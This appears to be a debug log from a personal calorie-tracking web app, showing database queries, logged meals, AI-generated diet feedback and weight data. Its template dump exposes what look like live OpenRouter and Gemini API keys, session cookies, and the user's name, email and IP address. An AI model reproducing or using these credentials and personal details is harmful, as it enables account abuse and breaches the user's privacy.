    fat_gm: 4,
    quantity: '1 serving (approx 150g)',
    replacements: 'Steamed cabbage with minimal oil,Cabbage soup,Cabbage salad',
    created_at: '2025-12-24T02:31:04.000Z',
    skip_level: 1,
    skip_reason: ''
  },
  {
    id: 506,
    intake_date: '2025-12-23T18:30:00.000Z',
    item_name: 'Roti',
    calories: 360,
    protein_gm: 12,
    carbs_gm: 76,
    fat_gm: 2,
    quantity: '4 rotis (approx 120g total)',
    replacements: 'Multigrain roti,Jowar/Bajra roti,Brown rice',
    created_at: '2025-12-24T02:31:04.000Z',
    skip_level: 2,
    skip_reason: "While a good source of carbs for energy, 4 rotis might be a bit high for a single meal if you're aiming for muscle development and managing overall calorie intake, especially if you have other carb sources. Consider reducing to 2-3 rotis and adding more protein/vegetables."
  },
  {
    id: 507,
    intake_date: '2025-12-23T18:30:00.000Z',
    item_name: 'White Guava',
    calories: 136,
    protein_gm: 5,
    carbs_gm: 29,
    fat_gm: 1,
    quantity: '1 big size (approx 200g)',
    replacements: 'Smaller guava,Berries (strawberries, blueberries),Cucumber',
    created_at: '2025-12-24T03:16:25.000Z',
    skip_level: 1,
    skip_reason: ''
  }
]
2025-12-24T11:19:41.807Z server-connect:app Executing action step setvalue
2025-12-24T11:19:41.807Z server-connect:app options: { key: 'var_total', value: "{{item_list.sum('calories')}}" }
2025-12-24T11:19:41.807Z server-connect:output var_total: 948
2025-12-24T11:19:41.807Z server-connect:app Executing action step setvalue
2025-12-24T11:19:41.807Z server-connect:app options: {
  key: 'var_consumed',
  value: '{{((var_total / requirements.maintenance_calories)*100).round(0)}}'
}
2025-12-24T11:19:41.807Z server-connect:output var_consumed: 40
2025-12-24T11:19:41.808Z server-connect:app Executing action step setvalue
2025-12-24T11:19:41.808Z server-connect:app options: {
  key: 'var_deficit',
  value: '{{requirements.maintenance_calories-var_total}}'
}
2025-12-24T11:19:41.808Z server-connect:output var_deficit: 1452
2025-12-24T11:19:41.808Z server-connect:app Executing action step custom
2025-12-24T11:19:41.808Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT\n' +
      '  ct.intake_date,\n' +
      '  SUM(ct.calories) AS total_consumed,\n' +
      '  COALESCE(cr.maintenance_calories, 0) - SUM(ct.calories) AS surplus_or_deficit,\n' +
      '  CASE\n' +
      '    WHEN SUM(ct.calories) > COALESCE(cr.maintenance_calories, 0) THEN 0\n' +
      '    WHEN SUM(ct.calories) >= COALESCE(cr.target_calories, 0) THEN 1\n' +
      '    ELSE 2\n' +
      '  END AS status_flag\n' +
      'FROM calories_tracking ct\n' +
      'LEFT JOIN (\n' +
      '  -- pick the requirement row that covers TODAY (CURDATE())\n' +
      '  SELECT *\n' +
      '  FROM calories_requirement\n' +
      '  WHERE DATE(start_date) <= CURDATE()\n' +
      '    AND DATE(end_date)   >= CURDATE()\n' +
      '  ORDER BY start_date DESC\n' +
      '  LIMIT 1\n' +
      ') cr ON 1 = 1\n' +
      "WHERE ct.intake_date >= DATE_FORMAT(CURDATE(), '%Y-%m-01')\n" +
      "  AND ct.intake_date <  DATE_ADD(DATE_FORMAT(CURDATE(), '%Y-%m-01'), INTERVAL 1 MONTH)\n" +
      'GROUP BY ct.intake_date\n' +
      'ORDER BY ct.intake_date;',
    params: []
  }
}
2025-12-24T11:19:41.810Z server-connect:output monthly_chart: [
  {
    intake_date: 2025-11-30T18:30:00.000Z,
    total_consumed: '1890',
    surplus_or_deficit: '510',
    status_flag: 1
  },
  {
    intake_date: 2025-12-01T18:30:00.000Z,
    total_consumed: '1094',
    surplus_or_deficit: '1306',
    status_flag: 2
  },
  {
    intake_date: 2025-12-02T18:30:00.000Z,
    total_consumed: '1923',
    surplus_or_deficit: '477',
    status_flag: 1
  },
  {
    intake_date: 2025-12-03T18:30:00.000Z,
    total_consumed: '1851',
    surplus_or_deficit: '549',
    status_flag: 1
  },
  {
    intake_date: 2025-12-04T18:30:00.000Z,
    total_consumed: '2435',
    surplus_or_deficit: '-35',
    status_flag: 0
  },
  {
    intake_date: 2025-12-05T18:30:00.000Z,
    total_consumed: '1055',
    surplus_or_deficit: '1345',
    status_flag: 2
  },
  {
    intake_date: 2025-12-07T18:30:00.000Z,
    total_consumed: '2303',
    surplus_or_deficit: '97',
    status_flag: 1
  },
  {
    intake_date: 2025-12-08T18:30:00.000Z,
    total_consumed: '1571',
    surplus_or_deficit: '829',
    status_flag: 2
  },
  {
    intake_date: 2025-12-09T18:30:00.000Z,
    total_consumed: '1297',
    surplus_or_deficit: '1103',
    status_flag: 2
  },
  {
    intake_date: 2025-12-12T18:30:00.000Z,
    total_consumed: '1882',
    surplus_or_deficit: '518',
    status_flag: 1
  },
  {
    intake_date: 2025-12-13T18:30:00.000Z,
    total_consumed: '404',
    surplus_or_deficit: '1996',
    status_flag: 2
  },
  {
    intake_date: 2025-12-14T18:30:00.000Z,
    total_consumed: '2521',
    surplus_or_deficit: '-121',
    status_flag: 0
  },
  {
    intake_date: 2025-12-15T18:30:00.000Z,
    total_consumed: '2030',
    surplus_or_deficit: '370',
    status_flag: 1
  },
  {
    intake_date: 2025-12-16T18:30:00.000Z,
    total_consumed: '2088',
    surplus_or_deficit: '312',
    status_flag: 1
  },
  {
    intake_date: 2025-12-17T18:30:00.000Z,
    total_consumed: '1668',
    surplus_or_deficit: '732',
    status_flag: 2
  },
  {
    intake_date: 2025-12-18T18:30:00.000Z,
    total_consumed: '2115',
    surplus_or_deficit: '285',
    status_flag: 1
  },
  {
    intake_date: 2025-12-19T18:30:00.000Z,
    total_consumed: '1575',
    surplus_or_deficit: '825',
    status_flag: 2
  },
  {
    intake_date: 2025-12-20T18:30:00.000Z,
    total_consumed: '972',
    surplus_or_deficit: '1428',
    status_flag: 2
  },
  {
    intake_date: 2025-12-21T18:30:00.000Z,
    total_consumed: '1325',
    surplus_or_deficit: '1075',
    status_flag: 2
  },
  {
    intake_date: 2025-12-22T18:30:00.000Z,
    total_consumed: '1052',
    surplus_or_deficit: '1348',
    status_flag: 2
  },
  {
    intake_date: 2025-12-23T18:30:00.000Z,
    total_consumed: '948',
    surplus_or_deficit: '1452',
    status_flag: 2
  }
]
2025-12-24T11:19:41.810Z server-connect:app Executing action step single
2025-12-24T11:19:41.810Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'health_weight_trackor' },
    joins: [],
    orders: [ [Object] ],
    query: 'select `weight`, `date` from `health_weight_trackor` order by `created_on` DESC'
  }
}
2025-12-24T11:19:41.811Z server-connect:output current_weight: { weight: '69.70', date: '2025-12-23T18:30:00.000Z' }
2025-12-24T11:19:51.649Z server-connect:router Serving serverConnect /api/gemini/calculate-calorie
2025-12-24T11:19:51.650Z server-connect:app Executing action step identify
2025-12-24T11:19:51.650Z server-connect:app options: { provider: 'security' }
2025-12-24T11:19:51.650Z server-connect:output identity: 1
2025-12-24T11:19:51.650Z server-connect:app Executing action step restrict
2025-12-24T11:19:51.650Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-24T11:19:51.651Z server-connect:output restrict: undefined
2025-12-24T11:19:51.651Z server-connect:app Executing action step processWithGemini
2025-12-24T11:19:51.651Z server-connect:app options: { request_type: 'calories', raw_text: '{{$_POST.calorie_query}}' }
2025-12-24T11:19:53.008Z server-connect:output calculate_calorie: {
  items: [
    {
      food_name: 'Green Tea',
      quantity: '1 cup (approx 240ml)',
      calories_consumed: 2,
      total_calories: 2,
      protein: 0.48,
      carbs: 0,
      fat: 0,
      lower_calorie_alternatives: [Array],
      skip_level: 1,
      skip_reason: 'Excellent for health, contains antioxidants, negligible calories.'
    }
  ],
  total_macros: { protein: 0.48, carbs: 0, fat: 0, unit: 'grams' }
}
2025-12-24T11:20:03.534Z server-connect:router Serving serverConnect /api/health/manage-calories
2025-12-24T11:20:03.535Z server-connect:app Executing action step identify
2025-12-24T11:20:03.535Z server-connect:app options: { provider: 'security' }
2025-12-24T11:20:03.536Z server-connect:output identity: 1
2025-12-24T11:20:03.536Z server-connect:app Executing action step restrict
2025-12-24T11:20:03.536Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-24T11:20:03.537Z server-connect:output restrict: undefined
2025-12-24T11:20:03.537Z server-connect:app Executing action step condition
2025-12-24T11:20:03.537Z server-connect:app options: {
  if: '{{$_POST.items.length}}',
  then: {
    steps: {
      name: 'repeat',
      module: 'core',
      action: 'repeat',
      options: [Object],
      output: true,
      meta: [Array],
      outputType: 'array'
    }
  }
}
2025-12-24T11:20:03.537Z server-connect:app Executing action step repeat
2025-12-24T11:20:03.537Z server-connect:app options: {
  repeat: '{{$_POST.items}}',
  outputFields: [],
  exec: {
    steps: {
      name: 'calories',
      module: 'dbupdater',
      action: 'insert',
      options: [Object],
      meta: [Array]
    }
  }
}
2025-12-24T11:20:03.537Z server-connect:app Executing action step insert
2025-12-24T11:20:03.537Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    table: 'calories_tracking',
    returning: 'id',
    query: 'insert into `calories_tracking` (`calories`, `carbs_gm`, `created_at`, `fat_gm`, `intake_date`, `item_name`, `protein_gm`, `quantity`, `replacements`, `skip_level`, `skip_reason`) values (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)',
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ]
  }
}
2025-12-24T11:20:03.539Z server-connect:output calories: { affected: 1, identity: 508 }
2025-12-24T11:20:03.539Z server-connect:output repeat: [ {} ]
2025-12-24T11:20:03.539Z server-connect:output condition: undefined
2025-12-24T11:20:03.756Z server-connect:router Serving templateView /calorie-tracker
2025-12-24T11:20:03.756Z server-connect:app Executing action step identify
2025-12-24T11:20:03.757Z server-connect:app options: { provider: 'security' }
2025-12-24T11:20:03.757Z server-connect:output identity: 1
2025-12-24T11:20:03.757Z server-connect:app Executing action step restrict
2025-12-24T11:20:03.757Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-24T11:20:03.757Z server-connect:output restrict: undefined
2025-12-24T11:20:03.757Z server-connect:router Render template layouts/main
2025-12-24T11:20:03.758Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'cache-control': 'max-age=0',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"Windows"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    referer: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"15111-v+g9yUusC7M/9Z7wrRWxOxekRSY"',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3A3%2BnzlkEhCekl4MaSPcngJA%3D%3D.ujRr%2F0gwOGw92ypXXwQ9bCi4Z1ErX1d%2B5K%2FNoO4eLz8vZQN2CzPsAIe6KOdz%2BT4f4iO2meBe%2FGqPuRDFaCyFfIyuKn1MoJXiDHwCHgZcbp%2F38dYWvnaPaK4YCsBpD7BXv8HbuvdyAkLwbkumZIe4Hc0XWknnmyWzSjx%2BFdYKNJ0%3D.vYVSE8vURsf0VXLReSYMvNgLJtAItR6yx%2BeQ%2FoudNkk; your_r_git.sid=s%3AM36S9pPD7S4swVvw53uakFeB7W1HDzxS.ZWUggtviKMYRDhwFDytynhiJBPWQyYeuggfVF5K4zMw',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-25T04:01:57.381Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/calorie-tracker',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/calorie-tracker',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_CACHE_CONTROL: 'max-age=0',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"15111-v+g9yUusC7M/9Z7wrRWxOxekRSY"',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3A3%2BnzlkEhCekl4MaSPcngJA%3D%3D.ujRr%2F0gwOGw92ypXXwQ9bCi4Z1ErX1d%2B5K%2FNoO4eLz8vZQN2CzPsAIe6KOdz%2BT4f4iO2meBe%2FGqPuRDFaCyFfIyuKn1MoJXiDHwCHgZcbp%2F38dYWvnaPaK4YCsBpD7BXv8HbuvdyAkLwbkumZIe4Hc0XWknnmyWzSjx%2BFdYKNJ0%3D.vYVSE8vURsf0VXLReSYMvNgLJtAItR6yx%2BeQ%2FoudNkk; your_r_git.sid=s%3AM36S9pPD7S4swVvw53uakFeB7W1HDzxS.ZWUggtviKMYRDhwFDytynhiJBPWQyYeuggfVF5K4zMw',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/calorie-tracker'
}
2025-12-24T11:20:03.967Z server-connect:app Executing action step identify
2025-12-24T11:20:03.968Z server-connect:app options: { provider: 'security' }
2025-12-24T11:20:03.968Z server-connect:output identity: 1
2025-12-24T11:20:04.377Z server-connect:router Serving serverConnect /api/health/todays-calories
2025-12-24T11:20:04.378Z server-connect:router Serving serverConnect /api/gemini/get-health-summary
2025-12-24T11:20:04.379Z server-connect:router Serving serverConnect /api/access-control/user-info
2025-12-24T11:20:04.379Z server-connect:router Serving serverConnect /api/masters/get-items
2025-12-24T11:20:04.379Z server-connect:app Executing action step identify
2025-12-24T11:20:04.379Z server-connect:app options: { provider: 'security' }
2025-12-24T11:20:04.379Z server-connect:output identity: 1
2025-12-24T11:20:04.379Z server-connect:app Executing action step restrict
2025-12-24T11:20:04.379Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-24T11:20:04.380Z server-connect:app Executing action step identify
2025-12-24T11:20:04.380Z server-connect:app options: { provider: 'security' }
2025-12-24T11:20:04.381Z server-connect:output identity: 1
2025-12-24T11:20:04.381Z server-connect:app Executing action step restrict
2025-12-24T11:20:04.381Z server-connect:app options: { provider: 'security' }
2025-12-24T11:20:04.381Z server-connect:output restrict: undefined
2025-12-24T11:20:04.381Z server-connect:app Executing action step single
2025-12-24T11:20:04.381Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'health_summary' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `summary`, `date` from `health_summary` where `health_summary`.`date` = ?'
  }
}
2025-12-24T11:20:04.381Z server-connect:output restrict: undefined
2025-12-24T11:20:04.381Z server-connect:app Executing action step single
2025-12-24T11:20:04.381Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object] ],
    table: { name: 'calories_requirement' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `start_date`, `end_date`, `maintenance_calories`, `weight_kg`, `target_calories` from `calories_requirement` where `calories_requirement`.`start_date` <= ? and `calories_requirement`.`end_date` >= ?'
  }
}
2025-12-24T11:20:04.382Z server-connect:app Executing action step identify
2025-12-24T11:20:04.382Z server-connect:app options: { provider: 'security' }
2025-12-24T11:20:04.382Z server-connect:output identity: 1
2025-12-24T11:20:04.382Z server-connect:app Executing action step restrict
2025-12-24T11:20:04.382Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-24T11:20:04.385Z server-connect:app Executing action step identify
2025-12-24T11:20:04.385Z server-connect:app options: { provider: 'security' }
2025-12-24T11:20:04.385Z server-connect:output identity: 1
2025-12-24T11:20:04.385Z server-connect:app Executing action step restrict
2025-12-24T11:20:04.385Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-24T11:20:04.386Z server-connect:output summary: {
  summary: {
    rating: 6,
    summary: "Today's food intake appears to be primarily carbohydrate-focused with a moderate amount of protein from the whey supplement and some vegetables. The meal timing seems spread out, which is generally good for sustained energy. However, the overall protein content could be higher to better support muscle development goals, and there's a lack of diverse protein sources.",
    bad_points: [
      'Limited variety in protein sources.',
      'High reliance on carbohydrates, especially from roti.',
      'Potential for lower protein intake to support muscle development.'
    ],
    good_points: [
      'Consistent gym attendance.',
      'Inclusion of fruits and vegetables.',
      'Whey protein supplement for post-workout recovery.',
      'Meals are somewhat spread throughout the day.'
    ],
    suggestions: [
      'Incorporate more diverse protein sources like lean meats, fish, lentils, or paneer into meals.',
      'Consider reducing the quantity of roti and increasing the portion of vegetables or adding a protein-rich side.',
      'Ensure adequate hydration throughout the day.',
      'Aim for protein intake spread more evenly across meals, not just post-workout.'
    ],
    predicted_weight: 69.5,
    rating_judgement: 'Needs improvement',
    predicted_weight_trend: 'Slight downward trend'
  },
  date: '2025-12-23T18:30:00.000Z'
}
2025-12-24T11:20:04.387Z server-connect:output requirements: {
  id: 3,
  start_date: '2025-11-09T18:30:00.000Z',
  end_date: '2025-12-29T18:30:00.000Z',
  maintenance_calories: 2400,
  weight_kg: '71.00',
  target_calories: 1800
}
2025-12-24T11:20:04.387Z server-connect:app Executing action step select
2025-12-24T11:20:04.387Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [],
    params: [ [Object] ],
    table: { name: 'calories_tracking' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select * from `calories_tracking` where `calories_tracking`.`intake_date` = ? order by `id` ASC',
    orders: [ [Object] ]
  }
}
2025-12-24T11:20:04.388Z server-connect:output restrict: undefined
2025-12-24T11:20:04.388Z server-connect:app Executing action step single
2025-12-24T11:20:04.388Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2025-12-24T11:20:04.390Z server-connect:output restrict: undefined
2025-12-24T11:20:04.390Z server-connect:app Executing action step select
2025-12-24T11:20:04.390Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2025-12-24T11:20:04.391Z server-connect:output item_list: [
  {
    id: 500,
    intake_date: '2025-12-23T18:30:00.000Z',
    item_name: 'Jamfal (Guava)',
    calories: 30,
    protein_gm: 1,
    carbs_gm: 7,
    fat_gm: 0,
    quantity: '2 slices',
    replacements: 'Cucumber slices,Watermelon slices,Bell pepper strips',
    created_at: '2025-12-23T19:28:36.000Z',
    skip_level: 1,
    skip_reason: "Jamfal is a good source of Vitamin C and fiber, beneficial for overall health and recovery. It's a low-calorie fruit."
  },
  {
    id: 501,
    intake_date: '2025-12-23T18:30:00.000Z',
    item_name: 'Pre-workout supplement',
    calories: 10,
    protein_gm: 0,
    carbs_gm: 2,
    fat_gm: 0,
    quantity: '1 scoop',
    replacements: 'Black coffee (no sugar/cream),Green tea,Small piece of fruit (e.g., half a banana)',
    created_at: '2025-12-23T19:28:36.000Z',
    skip_level: 2,
    skip_reason: "While pre-workouts can provide a boost for intense sessions, they often contain artificial sweeteners, colors, and stimulants. For muscle development, focus on whole foods and adequate sleep. If you feel you need it, ensure it's a high-quality product with minimal additives. Consider if the energy boost is truly necessary for every session or if natural sources can suffice."
  },
  {
    id: 502,
    intake_date: '2025-12-23T18:30:00.000Z',
    item_name: 'Whey Protein',
    calories: 120,
    protein_gm: 27,
    carbs_gm: 3,
    fat_gm: 1,
    quantity: '1 scoop (27g protein)',
    replacements: 'Casein protein (slower digestion, good for muscle building),Egg whites (pure protein, very low calorie),Greek yogurt (high protein, lower calorie than some whey shakes)',
    created_at: '2025-12-23T22:18:53.000Z',
    skip_level: 1,
    skip_reason: 'Excellent for muscle development, high protein content, and relatively low in other macros. Ideal for your goals.'
  },
  {
    id: 503,
    intake_date: '2025-12-23T18:30:00.000Z',
    item_name: 'Poha (mixed with tomato, onion, matar)',
    calories: 200,
    protein_gm: 5,
    carbs_gm: 40,
    fat_gm: 3,
    quantity: '1 serving (approx. 150g cooked)',
    replacements: 'Quinoa Poha (higher protein, more fiber),Oats Poha (more fiber, can be lower calorie depending on preparation),Brown Rice Poha (more fiber than white poha)',
    created_at: '2025-12-23T22:18:53.000Z',
    skip_level: 1,
    skip_reason: 'Good source of complex carbohydrates for energy, and the vegetables add fiber and micronutrients. A decent breakfast option for your activity level.'
  },
  {
    id: 504,
    intake_date: '2025-12-23T18:30:00.000Z',
    item_name: 'Green Tea',
    calories: 2,
    protein_gm: 0,
    carbs_gm: 0,
    fat_gm: 0,
    quantity: '1 cup (approx 240ml)',
    replacements: 'Water,Herbal tea (e.g., peppermint, chamomile)',
    created_at: '2025-12-24T01:28:24.000Z',
    skip_level: 1,
    skip_reason: 'Excellent for health, contains antioxidants, negligible calories.'
  },
  {
    id: 505,
    intake_date: '2025-12-23T18:30:00.000Z',
    item_name: 'Patta Gobi Sabji',
    calories: 90,
    protein_gm: 3,
    carbs_gm: 12,
    fat_gm: 4,
    quantity: '1 serving (approx 150g)',
    replacements: 'Steamed cabbage with minimal oil,Cabbage soup,Cabbage salad',
    created_at: '2025-12-24T02:31:04.000Z',
    skip_level: 1,
    skip_reason: ''
  },
  {
    id: 506,
    intake_date: '2025-12-23T18:30:00.000Z',
    item_name: 'Roti',
    calories: 360,
    protein_gm: 12,
    carbs_gm: 76,
    fat_gm: 2,
    quantity: '4 rotis (approx 120g total)',
    replacements: 'Multigrain roti,Jowar/Bajra roti,Brown rice',
    created_at: '2025-12-24T02:31:04.000Z',
    skip_level: 2,
    skip_reason: "While a good source of carbs for energy, 4 rotis might be a bit high for a single meal if you're aiming for muscle development and managing overall calorie intake, especially if you have other carb sources. Consider reducing to 2-3 rotis and adding more protein/vegetables."
  },
  {
    id: 507,
    intake_date: '2025-12-23T18:30:00.000Z',
    item_name: 'White Guava',
    calories: 136,
    protein_gm: 5,
    carbs_gm: 29,
    fat_gm: 1,
    quantity: '1 big size (approx 200g)',
    replacements: 'Smaller guava,Berries (strawberries, blueberries),Cucumber',
    created_at: '2025-12-24T03:16:25.000Z',
    skip_level: 1,
    skip_reason: ''
  },
  {
    id: 508,
    intake_date: '2025-12-23T18:30:00.000Z',
    item_name: 'Green Tea',
    calories: 2,
    protein_gm: 0,
    carbs_gm: 0,
    fat_gm: 0,
    quantity: '1 cup (approx 240ml)',
    replacements: 'Water,Herbal tea (e.g., peppermint, chamomile)',
    created_at: '2025-12-24T05:50:03.000Z',
    skip_level: 1,
    skip_reason: 'Excellent for health, contains antioxidants, negligible calories.'
  }
]
2025-12-24T11:20:04.391Z server-connect:app Executing action step setvalue
2025-12-24T11:20:04.391Z server-connect:app options: { key: 'var_total', value: "{{item_list.sum('calories')}}" }
2025-12-24T11:20:04.391Z server-connect:output var_total: 950
2025-12-24T11:20:04.391Z server-connect:app Executing action step setvalue
2025-12-24T11:20:04.391Z server-connect:app options: {
  key: 'var_consumed',
  value: '{{((var_total / requirements.maintenance_calories)*100).round(0)}}'
}
2025-12-24T11:20:04.391Z server-connect:output var_consumed: 40
2025-12-24T11:20:04.391Z server-connect:app Executing action step setvalue
2025-12-24T11:20:04.391Z server-connect:app options: {
  key: 'var_deficit',
  value: '{{requirements.maintenance_calories-var_total}}'
}
2025-12-24T11:20:04.391Z server-connect:output var_deficit: 1450
2025-12-24T11:20:04.391Z server-connect:app Executing action step custom
2025-12-24T11:20:04.391Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT\n' +
      '  ct.intake_date,\n' +
      '  SUM(ct.calories) AS total_consumed,\n' +
      '  COALESCE(cr.maintenance_calories, 0) - SUM(ct.calories) AS surplus_or_deficit,\n' +
      '  CASE\n' +
      '    WHEN SUM(ct.calories) > COALESCE(cr.maintenance_calories, 0) THEN 0\n' +
      '    WHEN SUM(ct.calories) >= COALESCE(cr.target_calories, 0) THEN 1\n' +
      '    ELSE 2\n' +
      '  END AS status_flag\n' +
      'FROM calories_tracking ct\n' +
      'LEFT JOIN (\n' +
      '  -- pick the requirement row that covers TODAY (CURDATE())\n' +
      '  SELECT *\n' +
      '  FROM calories_requirement\n' +
      '  WHERE DATE(start_date) <= CURDATE()\n' +
      '    AND DATE(end_date)   >= CURDATE()\n' +
      '  ORDER BY start_date DESC\n' +
      '  LIMIT 1\n' +
      ') cr ON 1 = 1\n' +
      "WHERE ct.intake_date >= DATE_FORMAT(CURDATE(), '%Y-%m-01')\n" +
      "  AND ct.intake_date <  DATE_ADD(DATE_FORMAT(CURDATE(), '%Y-%m-01'), INTERVAL 1 MONTH)\n" +
      'GROUP BY ct.intake_date\n' +
      'ORDER BY ct.intake_date;',
    params: []
  }
}
2025-12-24T11:20:04.392Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2025-12-24T11:20:04.397Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
